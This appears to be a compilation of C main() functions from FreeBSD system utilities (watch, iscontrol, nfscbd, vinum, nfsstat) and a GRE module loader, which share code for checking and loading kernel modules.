size_t b_size = MIN_SIZE;
char *buf, chb[READB_LEN];
fd_set fd_s;
(void) setlocale(LC_TIME, "");
if (isatty(std_out))
opt_interactive = 1;
else
opt_interactive = 0;
while ((ch = getopt(ac, av, "Wciotnf:")) != -1)
switch (ch) {
case 'W':
opt_write = 1;
break;
case 'c':
opt_reconn_close = 1;
break;
case 'i':
opt_interactive = 1;
break;
case 'o':
opt_reconn_oflow = 1;
break;
case 't':
opt_timestamp = 1;
break;
case 'n':
opt_no_switch = 1;
break;
case 'f':
opt_snpdev = optarg;
break;
case '?':
default:
usage();
}
if (modfind("snp") == -1)
if (kldload("snp") == -1 || modfind("snp") == -1)
warn("snp module not available");
signal(SIGINT, cleanup);
snp_io = open_snp();
setup_scr();
if (*(av += optind) == NULL) {
if (opt_interactive && !opt_no_switch)
ask_dev(dev_name, MSG_INIT);
else
fatal(EX_DATAERR, "no device name given");
} else
strncpy(dev_name, *av, DEV_NAME_LEN);
set_dev(dev_name);
if (!(buf = (char *) malloc(b_size)))
fatal(EX_UNAVAILABLE, "malloc failed");
FD_ZERO(&fd_s);
while (1) {
if (opt_interactive)
FD_SET(std_in, &fd_s);
FD_SET(snp_io, &fd_s);
res = select(snp_io + 1, &fd_s, NULL, NULL, NULL);
if (opt_interactive && FD_ISSET(std_in, &fd_s)) {
if ((res = ioctl(std_in, FIONREAD, &nread)) != 0)
fatal(EX_OSERR, "ioctl(FIONREAD)");
if (nread > READB_LEN)
nread = READB_LEN;
rv = read(std_in, chb, nread);
if (rv == -1 || rv != nread)
fatal(EX_IOERR, "read (stdin) failed");
switch (chb[0]) {
case CHR_CLEAR:
clear();
break;
case CHR_SWITCH:
if (!opt_no_switch) {
detach_snp();
ask_dev(dev_name, MSG_CHANGE);
set_dev(dev_name);
break;
}
default:
if (opt_write) {
rv = write(snp_io, chb, nread);
if (rv == -1 || rv != nread) {
detach_snp();
if (opt_no_switch)
fatal(EX_IOERR,
"write failed");
ask_dev(dev_name, MSG_NOWRITE);
set_dev(dev_name);
}
}
}
}
if (!FD_ISSET(snp_io, &fd_s))
continue;
if ((res = ioctl(snp_io, FIONREAD, &nread)) != 0)
fatal(EX_OSERR, "ioctl(FIONREAD)");
switch (nread) {
case SNP_OFLOW:
if (opt_reconn_oflow)
attach_snp();
else if (opt_interactive && !opt_no_switch) {
ask_dev(dev_name, MSG_OFLOW);
set_dev(dev_name);
} else
cleanup(-1);
break;
case SNP_DETACH:
case SNP_TTYCLOSE:
if (opt_reconn_close)
attach_snp();
else if (opt_interactive && !opt_no_switch) {
ask_dev(dev_name, MSG_CLOSED);
set_dev(dev_name);
} else
cleanup(-1);
break;
default:
if (nread < (b_size / 2) && (b_size / 2) > MIN_SIZE) {
free(buf);
if (!(buf = (char *) malloc(b_size / 2)))
fatal(EX_UNAVAILABLE, "malloc failed");
b_size = b_size / 2;
}
if (nread > b_size) {
b_size = (nread % 2) ? (nread + 1) : (nread);
free(buf);
if (!(buf = (char *) malloc(b_size)))
fatal(EX_UNAVAILABLE, "malloc failed");
}
rv = read(snp_io, buf, nread);
if (rv == -1 || rv != nread)
fatal(EX_IOERR, "read failed");
rv = write(std_out, buf, nread);
if (rv == -1 || rv != nread)
fatal(EX_IOERR, "write failed");
}
} /* While */
return(0);
}
int
main(int cc, char **vv)
{
int ch, disco;
char *pname, *p, *q, *ta, *kw;
isc_opt_t *op;
FILE *fd;
/* Try to load iscsi_initiator module before starting its operation */
if (modfind(INITIATORMOD) < 0) {
if (kldload(INITIATORMOD) < 0 || modfind(INITIATORMOD) < 0) {
perror(INITIATORMOD ": Error while handling kernel module");
return 1;
}
}
op = &opvals;
iscsidev = "/dev/"ISCSIDEV;
fd = NULL;
pname = vv[0];
if((p = strrchr(pname, '/')) != NULL)
pname = p + 1;
kw = ta = NULL;
disco = 0;
while((ch = getopt(cc, vv, OPTIONS)) != -1) {
switch(ch) {
case 'v':
vflag++;
break;
case 'c':
fd = fopen(optarg, "r");
if(fd == NULL) {
perror(optarg);
exit(1);
}
break;
case 'd':
disco = 1;
break;
case 't':
ta = optarg;
break;
case 'n':
kw = optarg;
break;
default:
badu:
fprintf(stderr, "Usage: %s %s\n", pname, USAGE);
exit(1);
}
}
if(fd == NULL)
fd = fopen("/etc/iscsi.conf", "r");
if(fd != NULL) {
parseConfig(fd, kw, op);
fclose(fd);
}
cc -= optind;
vv += optind;
if(cc > 0) {
if(vflag)
printf("adding '%s'\n", *vv);
parseArgs(cc, vv, op);
}
if(ta)
op->targetAddress = ta;
if(op->targetAddress == NULL) {
fprintf(stderr, "No target!\n");
goto badu;
}
q = op->targetAddress;
if(*q == '[' && (q = strchr(q, ']')) != NULL) {
*q++ = '\0';
op->targetAddress++;
} else
q = op->targetAddress;
if((p = strchr(q, ':')) != NULL) {
*p++ = 0;
op->port = atoi(p);
p = strchr(p, ',');
}
if(p || ((p = strchr(q, ',')) != NULL)) {
*p++ = 0;
op->targetPortalGroupTag = atoi(p);
}
if(op->initiatorName == 0) {
char hostname[256];
if(op->iqn) {
if(gethostname(hostname, sizeof(hostname)) == 0)
asprintf(&op->initiatorName, "%s:%s", op->iqn, hostname);
else
asprintf(&op->initiatorName, "%s:%d", op->iqn, (int)time(0) & 0xff); // XXX:
}
else {
if(gethostname(hostname, sizeof(hostname)) == 0)
asprintf(&op->initiatorName, "%s", hostname);
else
asprintf(&op->initiatorName, "%d", (int)time(0) & 0xff); // XXX:
}
}
if(disco) {
op->sessionType = "Discovery";
op->targetName = 0;
}
fsm(op);
exit(0);
}
/*
* Nfs callback server daemon.
*
* 1 - do file descriptor and signal cleanup
* 2 - fork the nfscbd(s)
* 4 - create callback server socket(s)
* 5 - set up server socket for rpc
*
* For connectionless protocols, just pass the socket into the kernel via.
* nfssvc().
* For connection based sockets, loop doing accepts. When you get a new
* socket from accept, pass the msgsock into the kernel via. nfssvc().
*/
int
main(int argc, char *argv[])
{
struct nfscbd_args nfscbdargs;
struct nfsd_nfscbd_args nfscbdargs2;
struct sockaddr_in inetaddr, inetpeer;
fd_set ready, sockbits;
int ch, connect_type_cnt, len, maxsock, msgsock, error;
int nfssvc_flag, on, sock, tcpsock, ret, mustfreeai = 0;
char *cp, princname[128];
char myname[MAXHOSTNAMELEN], *myfqdnname = NULL;
struct addrinfo *aip, hints;
pid_t pid;
short myport = NFSV4_CBPORT;
if (modfind("nfscl") < 0) {
/* Not present in kernel, try loading it */
if (kldload("nfscl") < 0 ||
modfind("nfscl") < 0)
errx(1, "nfscl is not available");
}
/*
* First, get our fully qualified host name, if possible.
*/
if (gethostname(myname, MAXHOSTNAMELEN) >= 0) {
cp = strchr(myname, '.');
if (cp != NULL && *(cp + 1) != '\0') {
cp = myname;
} else {
/*
* No domain on myname, so try looking it up.
*/
cp = NULL;
memset((void *)&hints, 0, sizeof (hints));
hints.ai_flags = AI_CANONNAME;
error = getaddrinfo(myname, NULL, &hints, &aip);
if (error == 0) {
if (aip->ai_canonname != NULL &&
(cp = strchr(aip->ai_canonname, '.')) != NULL
&& *(cp + 1) != '\0') {
cp = aip->ai_canonname;
mustfreeai = 1;
} else {
freeaddrinfo(aip);
}
}
}
if (cp == NULL)
warnx("Can't get fully qualified host name");
myfqdnname = cp;
}
princname[0] = '\0';
#define GETOPT "p:P:"
#define USAGE "[ -p port_num ] [ -P client_principal ]"
while ((ch = getopt(argc, argv, GETOPT)) != -1)
switch (ch) {
case 'p':
myport = atoi(optarg);
if (myport < 1) {
warnx("port# non-positive, reset to %d",
NFSV4_CBPORT);
myport = NFSV4_CBPORT;
}
break;
case 'P':
cp = optarg;
if (cp != NULL && strlen(cp) > 0 &&
strlen(cp) < sizeof (princname)) {
if (strchr(cp, '@') == NULL &&
myfqdnname != NULL)
snprintf(princname, sizeof (princname),
"%s@%s", cp, myfqdnname);
else
strlcpy(princname, cp,
sizeof (princname));
} else {
warnx("client princ invalid. ignored\n");
}
break;
default:
case '?':
usage();
};
argv += optind;
argc -= optind;
if (argc > 0)
usage();
if (mustfreeai)
freeaddrinfo(aip);
nfscbdargs2.principal = (const char *)princname;
if (debug == 0) {
daemon(0, 0);
(void)signal(SIGTERM, SIG_IGN);
(void)signal(SIGHUP, SIG_IGN);
(void)signal(SIGINT, SIG_IGN);
(void)signal(SIGQUIT, SIG_IGN);
}
(void)signal(SIGSYS, nonfs);
(void)signal(SIGCHLD, reapchild);
openlog("nfscbd:", LOG_PID, LOG_DAEMON);
pid = fork();
if (pid < 0) {
syslog(LOG_ERR, "fork: %m");
nfscbd_exit(1);
} else if (pid > 0) {
children = pid;
} else {
(void)signal(SIGUSR1, child_cleanup);
setproctitle("server");
nfssvc_flag = NFSSVC_NFSCBD;
if (nfssvc(nfssvc_flag, &nfscbdargs2) < 0) {
syslog(LOG_ERR, "nfssvc: %m");
nfscbd_exit(1);
}
exit(0);
}
(void)signal(SIGUSR1, cleanup);
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
syslog(LOG_ERR, "can't create udp socket");
nfscbd_exit(1);
}
memset(&inetaddr, 0, sizeof inetaddr);
inetaddr.sin_family = AF_INET;
inetaddr.sin_addr.s_addr = INADDR_ANY;
inetaddr.sin_port = htons(myport);
inetaddr.sin_len = sizeof(inetaddr);
ret = bind(sock, (struct sockaddr *)&inetaddr, sizeof(inetaddr));
/* If bind() fails, this is a restart, so just skip UDP. */
if (ret == 0) {
len = sizeof(inetaddr);
if (getsockname(sock, (struct sockaddr *)&inetaddr, &len) < 0){
syslog(LOG_ERR, "can't get bound addr");
nfscbd_exit(1);
}
nfscbdargs.port = ntohs(inetaddr.sin_port);
if (nfscbdargs.port != myport) {
syslog(LOG_ERR, "BAD PORT#");
nfscbd_exit(1);
}
nfscbdargs.sock = sock;
nfscbdargs.name = NULL;
nfscbdargs.namelen = 0;
if (nfssvc(NFSSVC_CBADDSOCK, &nfscbdargs) < 0) {
syslog(LOG_ERR, "can't Add UDP socket");
nfscbd_exit(1);
}
}
(void)close(sock);
/* Now set up the master server socket waiting for tcp connections. */
on = 1;
FD_ZERO(&sockbits);
connect_type_cnt = 0;
if ((tcpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
syslog(LOG_ERR, "can't create tcp socket");
nfscbd_exit(1);
}
if (setsockopt(tcpsock,
SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0)
syslog(LOG_ERR, "setsockopt SO_REUSEADDR: %m");
/* sin_port is already set */
inetaddr.sin_family = AF_INET;
inetaddr.sin_addr.s_addr = INADDR_ANY;
inetaddr.sin_port = htons(myport);
inetaddr.sin_len = sizeof(inetaddr);
if (bind(tcpsock,
(struct sockaddr *)&inetaddr, sizeof (inetaddr)) < 0) {
syslog(LOG_ERR, "can't bind tcp addr");
nfscbd_exit(1);
}
if (listen(tcpsock, 5) < 0) {
syslog(LOG_ERR, "listen failed");
nfscbd_exit(1);
}
FD_SET(tcpsock, &sockbits);
maxsock = tcpsock;
connect_type_cnt++;
setproctitle("master");
/*
* Loop forever accepting connections and passing the sockets
* into the kernel for the mounts.
*/
for (;;) {
ready = sockbits;
if (connect_type_cnt > 1) {
if (select(maxsock + 1,
&ready, NULL, NULL, NULL) < 1) {
syslog(LOG_ERR, "select failed: %m");
nfscbd_exit(1);
}
}
if (FD_ISSET(tcpsock, &ready)) {
len = sizeof(inetpeer);
if ((msgsock = accept(tcpsock,
(struct sockaddr *)&inetpeer, &len)) < 0) {
syslog(LOG_ERR, "accept failed: %m");
nfscbd_exit(1);
}
memset(inetpeer.sin_zero, 0,
sizeof (inetpeer.sin_zero));
if (setsockopt(msgsock, SOL_SOCKET,
SO_KEEPALIVE, (char *)&on, sizeof(on)) < 0)
syslog(LOG_ERR,
"setsockopt SO_KEEPALIVE: %m");
nfscbdargs.sock = msgsock;
nfscbdargs.name = (caddr_t)&inetpeer;
nfscbdargs.namelen = sizeof(inetpeer);
nfssvc(NFSSVC_CBADDSOCK, &nfscbdargs);
(void)close(msgsock);
}
}
}
int
main(int argc, char *argv[], char *envp[])
{
struct stat histstat;
if (modfind(VINUMMOD) < 0) {
/* need to load the vinum module */
if (kldload(VINUMMOD) < 0 || modfind(VINUMMOD) < 0) {
perror(VINUMMOD ": Kernel module not available");
return 1;
}
}
dateformat = getenv("VINUM_DATEFORMAT");
if (dateformat == NULL)
dateformat = "%e %b %Y %H:%M:%S";
historyfile = getenv("VINUM_HISTORY");
if (historyfile == NULL)
historyfile = DEFAULT_HISTORYFILE;
if (stat(historyfile, &histstat) == 0) { /* history file exists */
if ((histstat.st_mode & S_IFMT) != S_IFREG) {
fprintf(stderr,
"Vinum history file %s must be a regular file\n",
historyfile);
exit(1);
}
} else if ((errno != ENOENT) /* not "not there", */
&&(errno != EROFS)) { /* and not read-only file system */
fprintf(stderr,
"Can't open %s: %s (%d)\n",
historyfile,
strerror(errno),
errno);
exit(1);
}
hist = fopen(historyfile, "a+");
if (hist != NULL) {
timestamp();
fprintf(hist, "*** " VINUMMOD " started ***\n");
fflush(hist); /* before we start the daemon */
}
superdev = open(VINUM_SUPERDEV_NAME, O_RDWR); /* open vinum superdevice */
if (superdev < 0) { /* no go */
if (errno == ENODEV) { /* not configured, */
superdev = open(VINUM_WRONGSUPERDEV_NAME, O_RDWR); /* do we have a debug mismatch? */
if (superdev >= 0) { /* yup! */
#if VINUMDEBUG
fprintf(stderr,
"This program is compiled with debug support, but the kernel module does\n"
"not have debug support. This program must be matched with the kernel\n"
"module. Please alter /usr/src/sbin/" VINUMMOD "/Makefile and remove\n"
"the option -DVINUMDEBUG from the CFLAGS definition, or alternatively\n"
"edit /usr/src/sys/modules/" VINUMMOD "/Makefile and add the option\n"
"-DVINUMDEBUG to the CFLAGS definition. Then rebuild the component\n"
"of your choice with 'make clean all install'. If you rebuild the kernel\n"
"module, you must stop " VINUMMOD " and restart it\n");
#else
fprintf(stderr,
"This program is compiled without debug support, but the kernel module\n"
"includes debug support. This program must be matched with the kernel\n"
"module. Please alter /usr/src/sbin/" VINUMMOD "/Makefile and add\n"
"the option -DVINUMDEBUG to the CFLAGS definition, or alternatively\n"
"edit /usr/src/sys/modules/" VINUMMOD "/Makefile and remove the option\n"
"-DVINUMDEBUG from the CFLAGS definition. Then rebuild the component\n"
"of your choice with 'make clean all install'. If you rebuild the kernel\n"
"module, you must stop " VINUMMOD " and restart it\n");
#endif
return 1;
}
} else if (errno == ENOENT) /* we don't have our node, */
make_devices(); /* create them first */
if (superdev < 0) {
perror("Can't open " VINUM_SUPERDEV_NAME);
return 1;
}
}
/* Check if the dæmon is running. If not, start it in the
* background */
start_daemon();
if (argc > 1) { /* we have a command on the line */
if (setjmp(command_fail) != 0) /* long jumped out */
return -1;
parseline(argc - 1, &argv[1]); /* do it */
} else {
/*
* Catch a possible race condition which could cause us to
* longjmp() into nowhere if we receive a SIGINT in the next few
* lines.
*/
if (setjmp(command_fail)) /* come back here on catastrophic failure */
return 1;
setsigs(); /* set signal handler */
for (;;) { /* ugh */
char *c;
int childstatus; /* from wait4 */
if (setjmp(command_fail) == 2) /* come back here on catastrophic failure */
fprintf(stderr, "*** interrupted ***\n"); /* interrupted */
while (wait4(-1, &childstatus, WNOHANG, NULL) > 0); /* wait for all dead children */
c = readline(VINUMMOD " -> "); /* get an input */
if (c == NULL) { /* EOF or error */
if (ferror(stdin)) {
fprintf(stderr, "Can't read input: %s (%d)\n", strerror(errno), errno);
return 1;
} else { /* EOF */
printf("\n");
return 0;
}
} else if (*c) { /* got something there */
add_history(c); /* save it in the history */
strcpy(buffer, c); /* put it where we can munge it */
free(c);
line++; /* count the lines */
tokens = tokenize(buffer, token);
/* got something potentially worth parsing */
if (tokens)
parseline(tokens, token); /* and do what he says */
}
if (hist)
fflush(hist);
}
}
return 0; /* normal completion */
}
int
main(int argc, char **argv)
{
u_int interval;
int clientOnly = -1;
int serverOnly = -1;
int ch;
char *memf, *nlistf;
char errbuf[_POSIX2_LINE_MAX];
interval = 0;
memf = nlistf = NULL;
while ((ch = getopt(argc, argv, "cesWM:N:ow:z")) != -1)
switch(ch) {
case 'M':
memf = optarg;
break;
case 'N':
nlistf = optarg;
break;
case 'W':
widemode = 1;
break;
case 'w':
interval = atoi(optarg);
break;
case 'c':
clientOnly = 1;
if (serverOnly < 0)
serverOnly = 0;
break;
case 's':
serverOnly = 1;
if (clientOnly < 0)
clientOnly = 0;
break;
case 'z':
zflag = 1;
break;
case 'o':
if (extra_output != 0)
err(1, "-o incompatible with -e");
run_v4 = 0;
break;
case 'e':
if (run_v4 == 0)
err(1, "-e incompatible with -o");
extra_output = 1;
break;
case '?':
default:
usage();
}
argc -= optind;
argv += optind;
#define BACKWARD_COMPATIBILITY
#ifdef BACKWARD_COMPATIBILITY
if (*argv) {
interval = atoi(*argv);
if (*++argv) {
nlistf = *argv;
if (*++argv)
memf = *argv;
}
}
#endif
if (run_v4 != 0 && modfind("nfscommon") < 0)
errx(1, "new client/server not loaded");
if (run_v4 == 0 && (nlistf != NULL || memf != NULL)) {
deadkernel = 1;
if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY,
errbuf)) == 0) {
errx(1, "kvm_openfiles: %s", errbuf);
}
if (kvm_nlist(kd, nl) != 0) {
errx(1, "kvm_nlist: can't get names");
}
}
if (interval) {
if (run_v4 > 0)
exp_sidewaysintpr(interval, clientOnly, serverOnly);
else
sidewaysintpr(interval, clientOnly, serverOnly);
} else {
if (extra_output != 0)
exp_intpr(clientOnly, serverOnly);
else
intpr(clientOnly, serverOnly);
}
exit(0);
}
int
main(int argc, char **argv)
{
u_int interval;
int clientOnly = -1;
int serverOnly = -1;
int newStats = 0;
int ch;
char *memf, *nlistf;
int mntlen, i;
char buf[1024];
struct statfs *mntbuf;
struct nfscl_dumpmntopts dumpmntopts;
interval = 0;
memf = nlistf = NULL;
argc = xo_parse_args(argc, argv);
if (argc < 0)
exit(1);
xo_set_version(NFSSTAT_XO_VERSION);
while ((ch = getopt(argc, argv, "cdEesWM:mN:w:zq")) != -1)
switch(ch) {
case 'M':
memf = optarg;
break;
case 'm':
/* Display mount options for NFS mount points. */
mntlen = getmntinfo(&mntbuf, MNT_NOWAIT);
for (i = 0; i < mntlen; i++) {
if (strcmp(mntbuf->f_fstypename, "nfs") == 0) {
dumpmntopts.ndmnt_fname =
mntbuf->f_mntonname;
dumpmntopts.ndmnt_buf = buf;
dumpmntopts.ndmnt_blen = sizeof(buf);
if (nfssvc(NFSSVC_DUMPMNTOPTS,
&dumpmntopts) >= 0)
printf("%s on %s\n%s\n",
mntbuf->f_mntfromname,
mntbuf->f_mntonname, buf);
else if (errno == EPERM)
errx(1, "Only priviledged users"
" can use the -m option");
}
mntbuf++;
}
exit(0);
case 'N':
nlistf = optarg;
break;
case 'W':
widemode = 1;
break;
case 'w':
interval = atoi(optarg);
break;
case 'c':
clientOnly = 1;
if (serverOnly < 0)
serverOnly = 0;
break;
case 'd':
newStats = 1;
if (interval == 0)
interval = 1;
break;
case 's':
serverOnly = 1;
if (clientOnly < 0)
clientOnly = 0;
break;
case 'z':
zflag = 1;
break;
case 'E':
if (extra_output != 0)
xo_err(1, "-e and -E are mutually exclusive");
extra_output = 2;
break;
case 'e':
if (extra_output != 0)
xo_err(1, "-e and -E are mutually exclusive");
extra_output = 1;
break;
case 'q':
printtitle = 0;
break;
case '?':
default:
usage();
}
argc -= optind;
argv += optind;
#define BACKWARD_COMPATIBILITY
#ifdef BACKWARD_COMPATIBILITY
if (*argv) {
interval = atoi(*argv);
if (*++argv) {
nlistf = *argv;
if (*++argv)
memf = *argv;
}
}
#endif
if (modfind("nfscommon") < 0)
xo_err(1, "NFS client/server not loaded");
if (interval) {
exp_sidewaysintpr(interval, clientOnly, serverOnly,
newStats);
} else {
xo_open_container("nfsstat");
if (extra_output != 0)
exp_intpr(clientOnly, serverOnly, extra_output - 1);
else
intpr(clientOnly, serverOnly);
xo_close_container("nfsstat");
}
xo_finish();
exit(0);
}
int
load_gre_module(void)
{
#if defined(__APPLE__)
fprintf(stderr, "OSX, kextload GRE.kext\n");
int pid;
if ((pid = fork()) < 0)
return -1;
if (pid == 0) {
execle("/sbin/kextload", "kextload", "/Library/Extensions/GRE.kext", NULL, NULL);
exit(EXIT_FAILURE);
}
while (waitpid(pid, 0, 0) < 0) {
if (errno == EINTR)
continue;
return -1;
}
return 0;
#else
#if defined(__FreeBSD__)
if (modfind("if_gre") < 0) {
#ifdef DEBUG
fprintf(stderr, "FreeBSD, kldload if_gre\n");
#endif
if (kldload("if_gre") < 0) {
perror("can't load if_gre");
return -1;
}
}
return 0;
#else
#if defined(__linux__)
fprintf(stderr, "Linux, insmod ip_gre\n");
int fd;
if ((fd = open("/proc/modules", O_RDONLY)) < 0) {
perror("open(\"proc/modules\")");
return -1;
}
int i;
char buff[128];
bzero(buff, sizeof(buff));
while ((i = read(fd, buff, sizeof(buff) - 1)) > 0) {
if (strstr(buff, "ip_gre")) {
close(fd);
return 0;
}
bzero(buff, sizeof(buff));
}
close(fd);
/* module ip_gre not found, try to load ip_gre */
fprintf(stderr, "load ip_gre...\n");
int pid;
if ((pid = fork()) < 0)
return -1;
if (pid == 0) {
execle("/sbin/modprobe", "modprobe", "ip_gre", NULL, NULL);
execle("/sbin/insmod", "insmod", "ip_gre", NULL, NULL);
exit(1);
}
while (waitpid(pid, 0, 0) < 0) {
if (errno == EINTR)
continue;
return -1;
}
return 0;
#else
fprintf(stderr, "%s: Your OS is not supported yet\n", __FUNCTION__);
return -1;
#endif
#endif
#endif
}
